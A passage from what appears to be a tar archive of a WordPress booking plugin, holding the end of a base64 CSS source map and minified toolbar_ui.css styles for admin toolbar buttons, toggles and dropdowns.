0OiA0ZW07XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiBjb2x1bW4gd3JhcDtcclxuICBmbGV4LWZsb3c6IGNvbHVtbiB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IGNlbnRlcjtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcclxuICAtbXMtZmxleC1saW5lLXBhY2s6IGNlbnRlcjtcclxuICBhbGlnbi1jb250ZW50OiBjZW50ZXI7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gIGJvcmRlcjogM3B4IHNvbGlkICM1ZTliMDViZDtcclxuICBib3JkZXItcmFkaXVzOiAxMHB4O1xyXG4gIGZvbnQtc2l6ZTogMTZweFxyXG59XHJcbi53cGJjX3VwZ3JhZGVfd2lkZ2V0IHtcclxuICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCkgdHJhbnNsYXRlWSgwKTtcclxuICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgwKSB0cmFuc2xhdGVZKDApO1xyXG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcclxuICB6LWluZGV4OiA5OTlcclxufVxyXG4ud3BiY191cGdyYWRlX3dpZGdldCAud3BiY191cGdyYWRlX3dpZGdldF9jb250YWluZXIge1xyXG4gIGJhY2tncm91bmQ6ICNmZmY7XHJcbiAgcG9zaXRpb246IHJlbGF0aXZlXHJcbn1cclxuLndwYmNfdXBncmFkZV93aWRnZXQgLndwYmNfdXBncmFkZV93aWRnZXRfY29udGFpbmVyIC53cGJjX3VwZ3JhZGVfbm90ZSB7XHJcbiAgd2lkdGg6IDcwJTtcclxuICBoZWlnaHQ6IGF1dG87XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgbm93cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IG5vd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBjZW50ZXI7XHJcbiAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XHJcbiAgLW1zLWZsZXgtbGluZS1wYWNrOiBzdGFydDtcclxuICBhbGlnbi1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlclxyXG59XHJcbi53cGJjX3VwZ3JhZGVfd2lkZ2V0IC53cGJjX3VwZ3JhZGVfd2lkZ2V0X2NvbnRhaW5lciAud3BiY191cGdyYWRlX25vdGUgZGl2OmZpcnN0LWNoaWxkIHtcclxuICBtYXJnaW46IGF1dG9cclxufVxyXG4ud3BiY191cGdyYWRlX3dpZGdldCAud3BiY191cGdyYWRlX3dpZGdldF9jb250YWluZXIgLndwYmNfdXBncmFkZV9ub3RlIC53cGJjX3BhbmVsX2dldF9zdGFydGVkX2Rpc21pc3Mge1xyXG4gIC1tcy1mbGV4LWl0ZW0tYWxpZ246IHN0YXJ0O1xyXG4gIGFsaWduLXNlbGY6IGZsZXgtc3RhcnQ7XHJcbiAgbWFyZ2luLWxlZnQ6IGF1dG87XHJcbiAgcGFkZGluZzogNHB4IDEwcHg7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDA7XHJcbiAgYmFja2dyb3VuZDogI2ZmZjtcclxuICBib3JkZXItcmFkaXVzOiA3cHg7XHJcbiAgYm9yZGVyOiBub25lXHJcbn0iXX0= */ toolbar_ui.css 0000666 00000071367 15166276556 0007462 0 ustar 00 .ui_element .wpbc_button_as_icon, .ui_element .wpbc_ui_button { display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; text-decoration: none; min-height: 24px; margin: 0; padding: 0 10px 1px; cursor: pointer; border-style: solid; -webkit-appearance: none; white-space: nowrap; box-sizing: border-box } .ui_element .wpbc_button_as_icon { border: none } .ui_element .wpbc_ui_button, .ui_element .wpbc_ui_button-secondary { color: #555; border-color: #d8d8d8; background: #f7f7f7; vertical-align: top } .ui_element .wpbc_ui_button-secondary:hover:not(.inactive), .ui_element .wpbc_ui_button.hover:not(.inactive), .ui_element .wpbc_ui_button:hover:not(.inactive) { background: #fafafa; border-color: #d8d8d8; color: #23282d; text-decoration: none } .ui_element .wpbc_ui_button-secondary.inactive:hover, .ui_element .wpbc_ui_button.hover.inactive, .ui_element .wpbc_ui_button.inactive:hover { cursor: default } .ui_element .wpbc_ui_button-secondary:focus, .ui_element .wpbc_ui_button.focus, .ui_element .wpbc_ui_button:focus { background: #fafafa; border-color: #d8d8d8; color: #23282d; box-shadow: 0 0 0 0 #4f94d4,0 0 1px 1px rgba(79,148,212,.8); z-index: 1; text-decoration: none; outline: transparent solid 2px; outline-offset: 0 } .ui_element .wpbc_ui_button-secondary:active:not(.inactive), .ui_element .wpbc_ui_button:active:not(.inactive), .wpbc_ui_dropdown.open > .wpbc_ui_button:not(.inactive) { background: #f6f7f7; border-color: #d8d8d8; box-shadow: inset 0 1px 7px -3px rgba(0,0,0,.3); -ms-transform: translateY(1px); transform: translateY(1px); outline: 0; text-decoration: none } .ui_element .wpbc_ui_button-disabled, .ui_element .wpbc_ui_button-secondary.disabled, .ui_element .wpbc_ui_button-secondary:disabled, .ui_element .wpbc_ui_button-secondary[disabled], .ui_element .wpbc_ui_button.disabled, .ui_element .wpbc_ui_button:disabled, .ui_element .wpbc_ui_button[disabled], .ui_element.disabled .wpbc_ui_button { color: #a7aaad!important; border-color: #dcdcde!important; background: #f6f7f7!important; box-shadow: none!important; cursor: default; -ms-transform: none!important; transform: none!important } .ui_element .wpbc_ui_button.active:hover:not(.inactive), .ui_element .wpbc_ui_button.active:not(.inactive) { background: #f6f7f7; border-color: #d8d8d8; box-shadow: inset 0 1px 7px -3px rgba(0,0,0,.3); -ms-transform: translateY(1px); transform: translateY(1px); outline: 0; text-decoration: none } .ui_element .wpbc_ui_button.active:focus:not(.inactive) { border-color: #3582c4; box-shadow: inset 0 1px 5px -3px #0a4b78,0 0 1px 1px rgba(79,148,212,.1) } .ui_element .wpbc_ui_button_primary { background: #0085ba; border-color: #0073aa #006799 #006799; color: #fff; text-shadow: 0 -1px 1px #006799,1px 0 1px #006799,0 1px 1px #006799,-1px 0 1px #006799; text-decoration: none; box-shadow: 0 1px 0 #f1f1f1 } .ui_element .wpbc_ui_button_primary.focus:not(.inactive), .ui_element .wpbc_ui_button_primary.hover:not(.inactive), .ui_element .wpbc_ui_button_primary:focus:not(.inactive), .ui_element .wpbc_ui_button_primary:hover:not(.inactive) { background: #008ec2; border-color: #006799; color: #fff } .ui_element .wpbc_ui_button_primary.focus:not(.inactive), .ui_element .wpbc_ui_button_primary:focus:not(.inactive) { box-shadow: 0 0 0 0 #fff,0 0 2px 1px #a4d7ff } .ui_element .wpbc_ui_button_primary.active:focus:not(.inactive), .ui_element .wpbc_ui_button_primary.active:hover:not(.inactive), .ui_element .wpbc_ui_button_primary.active:not(.inactive), .ui_element .wpbc_ui_button_primary:active:not(.inactive) { background: #0c7ca8; border-color: #0b79a4; box-shadow: inset 0 1px 7px -3px rgba(0,0,0,.3); color: #fff } .ui_element .wpbc_ui_button_primary-disabled, .ui_element .wpbc_ui_button_primary.disabled, .ui_element .wpbc_ui_button_primary:disabled, .ui_element .wpbc_ui_button_primary[disabled] { color: #a7aaad!important; background: #f6f7f7!important; border-color: #dcdcde!important; box-shadow: none!important; text-shadow: none!important; cursor: default } .ui_element .wpbc_ui_button_danger { background: #de605c; border-color: #c05d5a; color: #f7f7f7; text-shadow: 0 0 #ba5956; text-decoration: none; box-shadow: 0 1px 0 #f1f1f1 } .ui_element .wpbc_ui_button_danger.focus:not(.inactive), .ui_element .wpbc_ui_button_danger.hover:not(.inactive), .ui_element .wpbc_ui_button_danger:focus:not(.inactive), .ui_element .wpbc_ui_button_danger:hover:not(.inactive) { background: #e6716f; border-color: #d58582; color: #fdfdfd; text-shadow: none } .ui_element .wpbc_ui_button_danger.focus:not(.inactive), .ui_element .wpbc_ui_button_danger:focus:not(.inactive) { box-shadow: 0 0 0 0 #fff,0 0 2px 1px #a4d7ff } .ui_element .wpbc_ui_button_danger.active:focus:not(.inactive), .ui_element .wpbc_ui_button_danger.active:hover:not(.inactive), .ui_element .wpbc_ui_button_danger.active:not(.inactive), .ui_element .wpbc_ui_button_danger:active:not(.inactive) { background: #ba4c48; border-color: #c05d5a; box-shadow: inset 0 1px 7px -3px rgba(0,0,0,.1); color: #f3f2f2 } .ui_element .wpbc_ui_button_danger-disabled, .ui_element .wpbc_ui_button_danger.disabled, .ui_element .wpbc_ui_button_danger:disabled, .ui_element .wpbc_ui_button_danger[disabled] { color: #a7aaad!important; background: #f6f7f7!important; border-color: #dcdcde!important; box-shadow: none!important; text-shadow: none!important; cursor: default } @media (max-width:782px) { .ui_element .in-button-text { display: none } } .ui_element .wpbc_ui_text { border: 1px solid #d6d6d6; -ms-flex: 1 1 120px; flex: 1 1 120px } .ui_element .wpbc_ui_text.focus, .ui_element .wpbc_ui_text:focus { border-color: #d8d8d8; box-shadow: 0 0 0 1px #2271b1; box-shadow: 0 0 0 0 #4f94d4,0 0 1px 1px rgba(79,148,212,.8); z-index: 1; outline: transparent solid 2px } .ui_element .wpbc_ui_select { border: 1px solid #d6d6d6; -ms-flex: 1 1 auto; flex: 1 1 auto } .ui_element .wpbc_ui_select.focus, .ui_element .wpbc_ui_select:focus { border-color: #d8d8d8; box-shadow: 0 0 0 1px #2271b1; box-shadow: 0 0 0 0 #4f94d4,0 0 1px 1px rgba(79,148,212,.8); z-index: 1; outline: transparent solid 2px } .ui_element .wpbc_ui_checkbox, .ui_element .wpbc_ui_radio { border: 1px solid #bcbcbc; border-radius: 4px; background: #fff; color: #50575e; clear: none; cursor: pointer; display: inline-block; line-height: 0!important; height: 1rem!important; margin: 0; outline: 0; padding: 0!important; text-align: center; vertical-align: middle; width: 1rem; min-width: 1rem; -webkit-appearance: none; box-shadow: inset 0 1px 2px rgba(0,0,0,.1); transition: border-color .05s ease-in-out; -ms-flex-item-align: center; align-self: center } .ui_element .wpbc_ui_radio { border-radius: 50%; margin-right: .25rem; line-height: .71428571 } .ui_element .wpbc_ui_checkbox.focus, .ui_element .wpbc_ui_checkbox:focus, .ui_element .wpbc_ui_radio.focus, .ui_element .wpbc_ui_radio:focus { border-color: #d8d8d8; box-shadow: 0 0 0 1px #2271b1; box-shadow: 0 0 0 0 #4f94d4,0 0 1px 1px rgba(79,148,212,.8); z-index: 1; outline: transparent solid 2px!important } .ui_element .wpbc_ui_checkbox + .wpbc_ui_control_label, .ui_element .wpbc_ui_radio + .wpbc_ui_control_label { padding-left: 5px; padding-right: 5px } .ui_element .wpbc_ui_control.wpbc_ui_button .wpbc_ui_checkbox + .wpbc_ui_control_label, .ui_element .wpbc_ui_control.wpbc_ui_button .wpbc_ui_radio + .wpbc_ui_control_label { margin: 0 } @media screen and (max-width:782px) { .ui_element .wpbc_ui_checkbox, .ui_element .wpbc_ui_radio { height: 1.5625rem!important; width: 1.5625rem } } .wpbc_ui__toggle { -ms-flex-align: start; align-items: flex-start; display: -ms-flexbox; display: flex; gap: 10px } .wpbc_ui__toggle input[type=checkbox] { display: none; height: 0; width: 0 } .wpbc_ui__toggle input[type=checkbox]:checked + label.wpbc_ui__toggle_icon { background-color: #036aab } .wpbc_ui__toggle input[type=checkbox]:checked + label.wpbc_ui__toggle_icon:after { left: calc(100% - 13px - 2px) } .wpbc_ui__toggle label, .wpbc_ui__toggle span { -ms-flex-align: start; align-items: flex-start; display: -ms-flexbox; display: flex; gap: 10px; margin: 0; vertical-align: unset } .wpbc_ui__toggle .wpbc_ui__toggle_label:hover { cursor: pointer } .wpbc_ui__toggle .wpbc_ui__toggle_status { color: #86919e; font-size: 12px; line-height: 14px; margin: 2px 5px } .wpbc_ui__toggle .wpbc_ui__toggle_icon { background-color: #bbb; border-radius: 8.5px; cursor: pointer; display: inline-block; height: 17px; margin: 0 1px; position: relative; text-indent: -9999px; width: 27px; -ms-flex: 0 0 auto; flex: 0 0 auto } .wpbc_ui__toggle .wpbc_ui__toggle_icon:after { background: #fff; border-radius: 50%; content: ""; height: 13px; left: 2px; position: absolute; top: 2px; width: 13px; transition-property: all; transition-duration: .25s; transition-timing-function: ease-out } .wpbc_ui__toggle .wpbc-help-tooltip { margin: 0!important } .wpbc_ui__toggle:hover input:checked + label.wpbc_ui__toggle_icon { background-color: #215d8f } .wpbc_ui__toggle:hover .wpbc_ui__toggle_icon { background-color: #777 } .wpbc_ui__toggle input[type=checkbox]:disabled + label.wpbc_ui__toggle_icon, .wpbc_ui__toggle:hover input:disabled + label.wpbc_ui__toggle_icon { background-color: #ddd; cursor: not-allowed } .wpbc_ui__toggle input[type=checkbox]:checked:disabled + label.wpbc_ui__toggle_icon { background-color: #c9dbe6 } .ui_element .wpbc_ui__toggle { -ms-flex-align: center; align-items: center } .wpbc_ajx_toolbar .ui_container.ui_container_small .ui_group .ui_element .wpbc_ui__toggle > * { margin: 0 } .form-table td fieldset .wpbc_ui__toggle { margin: 5px 0; display: -ms-inline-flexbox; display: inline-flex } .form-table td fieldset .wpbc_ui__toggle input[type=checkbox] + label.wpbc_ui__toggle_icon { margin: 3px 0 .5em!important } .form-table td fieldset .wpbc_ui__toggle label, .form-table td fieldset .wpbc_ui__toggle label * { line-height: 1.6; margin: 0 1px!important } .wpbc_ui__toggle input[type=checkbox].wpbc_visible_but_out_screen { display: block; visibility: hidden; position: absolute } .wpbc_toggle_danger.wpbc_ui__toggle input[type=checkbox]:checked+label.wpbc_ui__toggle_icon, .wpbc_toggle_danger.wpbc_ui__toggle:hover input:checked+label.wpbc_ui__toggle_icon { background-color: #d63638 } .ui_element .wpbc_ui_addon { -ms-flex: 0 1 auto; flex: 0 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: stretch; justify-content: stretch; -ms-flex-align: center; align-items: center } .ui_element label.wpbc_ui_control_label { -ms-flex: 0 1 auto; flex: 0 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; padding: 0 5px 1px 0 } .ui_element label.wpbc_ui_control_label + .wpbc_ui_control:first-of-type { border-top-left-radius: 3px!important; border-bottom-left-radius: 3px!important } .ui_element .wpbc_ui_separtor { -ms-flex: 0 1 auto; flex: 0 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: stretch; justify-content: stretch; -ms-flex-align: center; align-items: center; border-right: 1px solid #ccc } .ui_element .wpbc_option_separator, .ui_element .wpbc_option_step { padding-right: 10px; padding-left: 10px; font-weight: 600; border-bottom: 4px solid transparent; padding-bottom: 9px; margin-bottom: -9px } .ui_element .wpbc_passed_step { border-bottom: 4px solid #d0d3c0 } .ui_element .wpbc_selected_step { border-bottom: 4px solid #aac71e } .ui_element .wpbc_ui_dropdown__outside_label { -ms-flex: 0 1 auto; flex: 0 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; padding: 0 10px 1px 0 } .ui_element .wpbc_ui_dropdown { -ms-flex: 0 1 auto; flex: 0 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: stretch; align-items: stretch; position: relative } .ui_element .wpbc_ui_dropdown * { box-sizing: border-box } .ui_element .wpbc_ui_dropdown .wpbc_ui_dropdown__inside_label { font-weight: 600; margin: 0; padding: 0 .5em 0 0 } .ui_element .wpbc_ui_dropdown .wpbc_ui_dropdown__inside_caret { display: inline-block; width: 0; height: 0; margin-left: 7px; vertical-align: middle; border-top: 4px dashed; border-right: 4px solid transparent; border-left: 4px solid transparent } .ui_element .wpbc_ui_dropdown:last-child > .wpbc_ui_button:last-of-type { border-top-right-radius: 3px; border-bottom-right-radius: 3px } .ui_element .wpbc_ui_dropdown:not(:first-child) > .wpbc_ui_button:first-child { border-top-left-radius: 0; border-bottom-left-radius: 0 } .ui_element .wpbc_ui_dropdown:not(:last-child) > .wpbc_ui_button:last-child { border-top-right-radius: 0; border-bottom-right-radius: 0 } .ui_element .wpbc_ui_dropdown__outside_label + .wpbc_ui_dropdown > .wpbc_ui_button:first-child { border-top-left-radius: 3px; border-bottom-left-radius: 3px } .wpbc_ui_dropdown .ui_dropdown_menu li.ui_complex_option_element { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; margin: 0; padding: 0 15px } .wpbc_ui_dropdown ul.ui_dropdown_menu li.ui_complex_option_element .ui_element { -ms-flex: 0 1 50%; flex: 0 1 50%; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; margin: 0; padding: 4px 0 } .wpbc_ui_dropdown ul.ui_dropdown_menu li.ui_complex_option_element .ui_element > * { -ms-flex: 0 1 auto; flex: 0 1 auto; margin: 0; height: auto; max-width: 210px } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu { display: none; position: absolute; top: 100%; left: 0; z-index: 1000; float: left; min-width: 160px; padding: 5px 0; margin: 0; list-style: none; text-align: left; background-color: #fff; box-shadow: 0 6px 12px rgba(0,0,0,.175); border: 1px solid rgba(0,0,0,.15); border-radius: 0 0 3px 3px; background-clip: padding-box } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu-right { left: auto; right: 0 } .ui_element .wpbc_ui_dropdown ul.ui_dropdown_menu * { font-size: 13px } @media screen and (max-width:782px) { .ui_element .wpbc_ui_dropdown ul.ui_dropdown_menu * { font-size: 14px; line-height: 2em } } .ui_element .wpbc_ui_dropdown.open > .ui_dropdown_menu { display: block } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu.pull-right, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu.ui_dropdown_menu_right { left: auto; right: 0 } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu.ui_dropdown_menu_left { left: 0; right: auto } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu hr { height: 1px; margin: 5px 0; overflow: hidden; background: 0 0; border: 0; border-top: 1px solid #eee } .wpbc_ui_dropdown .ui_dropdown_menu li.dropdown-header { padding: 0 15px; color: #999; font-size: .8em; font-style: italic; font-weight: 600 } .wpbc_ui_dropdown .ui_dropdown_menu li { padding: 0; margin: 0 } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu a { clear: both; display: block; font-weight: 400; padding: 5px 15px; white-space: nowrap; line-height: 18px } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > li > a { color: #333; text-decoration: none; font-weight: 400; padding: 5px 15px; white-space: nowrap; display: block; clear: both; font-size: 1em; line-height: 1.42857143 } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .active > a, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .active > a:focus, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .active > a:hover, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > li > a:focus, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > li > a:hover { color: #fff; background: #08c; text-decoration: none; outline: 0; box-shadow: none } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:focus, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:hover { color: #ccc } .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:focus, .ui_element .wpbc_ui_dropdown .ui_dropdown_menu > .disabled > a:hover { text-decoration: none; background-color: transparent; background-image: none; cursor: not-allowed } .ui_element .wpbc_ui_dropdown .dropdown-backdrop { position: fixed; left: 0; right: 0; bottom: 0; top: 0; z-index: 990 } .ui_element .wpbc_ui_control { border-radius: 0; border-width: 1px; margin-right: -1px!important } .ui_element .wpbc_ui_control:first-child { border-radius: 3px 0 0 3px } .ui_element .wpbc_ui_control:last-child { border-radius: 0 3px 3px 0; border-width: 1px } .ui_element .wpbc_ui_control:first-child:last-child { border-radius: 3px } .ui_nowrap { -ms-flex-wrap: nowrap!important; flex-wrap: nowrap!important } .wpbc_ajx_toolbar { position: relative; margin: 0 0 10px 50px } .wpbc_ajx_toolbar * { box-sizing: border-box } .wpbc_ajx_toolbar.wpbc_buttons_row { position: initial; margin: 0; float: left } .wpbc_ajx_toolbar.wpbc_buttons_row .ui_container, .wpbc_ajx_toolbar.wpbc_no_background .ui_container { background: 0 0; border: none; margin: 0; padding: 0 } .wpbc_ajx_toolbar.wpbc_background_transparent .ui_container { background: 0 0; border: none } .wpbc_ajx_toolbar .ui_container { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: stretch; align-items: stretch; margin: 0; box-shadow: none; border: 1px solid #ccc; border-top: none; background: #f5f5f5; font-size: 14px; padding: 6px 15px } .wpbc_ajx_toolbar .ui_container:last-child { border-radius: 0 0 2px 2px } .wpbc_ajx_toolbar.wpbc_no_borders .ui_container { border: none; background: 0 0; padding: 0 } div.wpbc_ajx_toolbar.wpbc_no_borders { margin: 0 } .wpbc_ajx_under_toolbar_row { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center } .wpbc_ajx_under_toolbar_row .wpbc_ajx_booking_pagination { margin-left: auto } .wpbc_ajx_toolbar .ui_container .ui_group { -ms-flex: 0 1 auto; flex: 0 1 auto; padding: 0; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: stretch; align-items: stretch; border: none; margin: 0 20px 0 0 } .wpbc_ajx_toolbar .ui_container .ui_group:last-child { margin: 0 } .wpbc_not_toolbar_is_send_emails { border-left: 1px solid #dbdbdb; padding-left: 10px } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element { display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: stretch; align-items: stretch; -ms-flex: 0 1 auto; flex: 0 1 auto; position: relative; margin: 0 15px 0 0 } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element:last-child { margin-right: 0 } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element > * { margin: 5px 0; height: 38px } .ui_elements_divider { margin-left: 15px } .wpbc_ajx_toolbar .ui_container.ui_container_micro *, .wpbc_ajx_toolbar .ui_container.ui_container_mini *, .wpbc_ajx_toolbar .ui_container.ui_container_small * { font-size: 13px } .wpbc_ajx_toolbar .ui_container.ui_container_mini { padding: 3px 15px } .wpbc_ajx_toolbar .ui_container.ui_container_mini .ui_group .ui_element > *, .wpbc_ajx_toolbar .ui_container.ui_container_small .ui_group .ui_element > * { height: 30px } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element.ui_element_micro > *, .wpbc_ajx_toolbar .ui_container.ui_container_micro .ui_group .ui_element > * { height: 22px; line-height: 1 } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element.ui_element_micro { margin-right: 5px; -ms-flex-align: center; align-items: center } .wpbc_ajx_toolbar .ui_container .ui_group .ui_element.ui_element_micro:last-child { margin-right: 0 } @media (max-width:782px) { .wpbc_ajx_toolbar .ui_container.ui_container_micro *, .wpbc_ajx_toolbar .ui_container.ui_container_mini *, .wpbc_ajx_toolbar .ui_container.ui_container_small * { font-size: 14px } #toolbar_booking_listing.wpbc_ajx_toolbar .ui_container .ui_group .ui_element > *, .wpbc_ajx_toolbar.wpbc_buttons_row .ui_container .ui_group .ui_element > * { height: 38px } #toolbar_booking_listing.wpbc_ajx_toolbar .ui_container .ui_group .ui_element > .wpbc_ui_button, .wpbc_ajx_toolbar.wpbc_buttons_row .ui_container .ui_group .ui_element > .wpbc_ui_button { padding: 0 15px 1px; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: center; justify-content: center; -ms-flex-align: center; align-items: center } } .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__dates_status { margin-right: 2.5em } .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__keyword, .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__keyword .ui_element { -ms-flex: 1 1 auto; flex: 1 1 auto } .wpbc_ajx_toolbar .ui_container .ui_group.ui_group__keyword .ui_element .wpbc_search_field { width: 100% } .wpbc_ajx_toolbar .ui_container.ui_container_filter_row_2 { padding: 4px 15px } .wpbc_ajx_toolbar .ui_container.ui_container_filter_row_2 .ui_group.ui_group__statuses { -ms-flex: 1 1 auto; flex: 1 1 auto } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi { -ms-flex: 1 1 auto; flex: 1 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: column wrap; flex-flow: column wrap; -ms-flex-pack: center; justify-content: center; -ms-flex-align: center; align-items: center; height: initial; width: auto!important; min-width: 10em; margin-right: -1px } @media (max-width:782px) { .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi { height: initial!important } } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices { -ms-flex: 1 1 auto; flex: 1 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; -ms-flex-line-pack: center; align-content: center; margin: 0; padding: 0 0 0 5px; height: auto; min-height: 28px!important; border-radius: 3px 0 0 3px } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi.chzn-container-active ul.chzn-choices { border-color: #d8d8d8!important; box-shadow: 0 0 0 0 #4f94d4,0 0 1px 1px rgba(79,148,212,.8)!important; z-index: 1; outline: transparent solid 2px } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice { -ms-flex: 0 1 auto; flex: 0 1 auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: baseline; align-items: baseline; margin: 3px 7px 3px 0; padding: 4px 7px 4px 8px } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice span { word-wrap: break-word } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice a.search-choice-close0 { font-family: "Glyphicons Halflings"; font-style: normal; font-weight: 400; font-size: 9px; color: #555; text-decoration: none; position: relative; top: auto; left: auto; right: auto; bottom: auto; margin: 0 0 0 1em; display: -ms-flexbox; display: flex; -ms-flex-flow: column wrap; flex-flow: column wrap; -ms-flex-pack: center; justify-content: center; -ms-flex-line-pack: center; align-content: center; width: auto; height: auto } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice a.search-choice-close0:before { content: "\e014" } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-choice a.search-choice-close0:hover { text-decoration: none } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-field { -ms-flex: 0 1 1px; flex: 0 1 1px; display: -ms-flexbox; display: flex; -ms-flex-flow: row wrap; flex-flow: row wrap; -ms-flex-pack: start; justify-content: flex-start; -ms-flex-align: center; align-items: center; margin: 0; padding: 0; white-space: nowrap } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-field input[type=text].default { min-width: 12em } .ui_container .ui_group .ui_element .chzn-container.chzn-container-multi ul.chzn-choices li.search-field input[type=text] { font-family: inherit } .ui_container .ui_group .ui_element .chzn-container div.chzn-drop ul.chzn-results li.highlighted { color: #fff; background: #08c; text-decoration: none; outline: 0; box-shadow: none } .wpbc_blur { filter: blur(.75px); pointer-events: none; -webkit-user-select: none; -ms-user-select: none; user-select: none } .wpbc_upgrade_note { position: absolute; top: 50%; background-color: #fff; padding: 10px; border: 1px solid #d1d1d1; box-shadow: 0 3px 10px #5e5e5e33; color: #141b38; font-size: 15px; font-weight: 600; width: 100%; text-align: center; line-height: 2em; left: 50%; -ms-transform: translate(-50%) translateY(-50%); transform: translate(-50%) translateY(-50%) } .wpbc_upgrade_note a { text-decoration: none; border-bottom: 1px dashed } .wpbc_upgrade_note a:hover { text-decoration: none; border-bottom: 1px solid } .wpbc_upgrade_note.wpbc_upgrade_theme_green { width: 70%; height: 4em; display: -ms-flexbox; display: flex; -ms-flex-flow: column wrap; flex-flow: column wrap; -ms-flex-pack: center; justify-content: center; -ms-flex-line-pack: center; align-content: center; -ms-flex-align: center; align-items: center; border: 3px solid #5e9b05bd; border-radius: 10px; font-size: 16px } .wpbc_upgrade_widget { -ms-transform: translate(0) translateY(0); transform: translate(0) translateY(0); position: relative; z-index: 999 } .wpbc_upgrade_widget .wpbc_upgrade_widget_container { background: #fff; position: relative } .wpbc_upgrade_widget .wpbc_upgrade_widget_container .wpbc_upgrade_note { width: 70%; height: auto; display: -ms-flexbox; display: flex; -ms-flex-flow: row nowrap; flex-flow: row nowrap; 